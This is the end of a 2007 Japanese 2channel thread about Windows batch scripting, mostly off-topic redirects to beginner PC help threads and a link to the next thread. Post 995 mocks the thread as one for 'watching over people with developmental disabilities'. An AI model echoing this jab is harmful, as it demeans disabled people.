987デフォルトの名無しさん:2007/05/05(土) 10:55:43
del /?
988デフォルトの名無しさん:2007/05/05(土) 10:56:50
>986-987
パソコンの使い方は板違い
989デフォルトの名無しさん:2007/05/05(土) 10:57:51
>986

PC初心者
http://pc11.2ch.net/pcqa/
990デフォルトの名無しさん:2007/05/05(土) 10:58:57
>986

パソコン初心者総合質問スレッド Vol.1588
http://pc11.2ch.net/test/read.cgi/pcqa/1178240838/
991デフォルトの名無しさん:2007/05/05(土) 11:00:21
>986

名無しのみパソコン初心者総合質問スレッド2
http://pc11.2ch.net/test/read.cgi/pcqa/1167568169/
992デフォルトの名無しさん:2007/05/05(土) 11:01:45
993デフォルトの名無しさん:2007/05/05(土) 11:02:22
>986

くだらねぇ質問はここに書き込め! Ver.9.92
http://pc11.2ch.net/test/read.cgi/pcqa/1176892321/
994デフォルトの名無しさん:2007/05/05(土) 11:04:31
995デフォルトの名無しさん:2007/05/05(土) 11:05:50
発達障害者を見守るスレは間もなく終点です。
996デフォルトの名無しさん:2007/05/05(土) 11:06:05
997デフォルトの名無しさん:2007/05/05(土) 11:06:45
998デフォルトの名無しさん:2007/05/05(土) 11:07:33
999デフォルトの名無しさん:2007/05/05(土) 11:08:04
1000デフォルトの名無しさん:2007/05/05(土) 11:08:10
次スレ
【.cmd】 バッチファイルスクリプト %1 【.bat】
http://pc11.2ch.net/test/read.cgi/tech/1178281991/
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。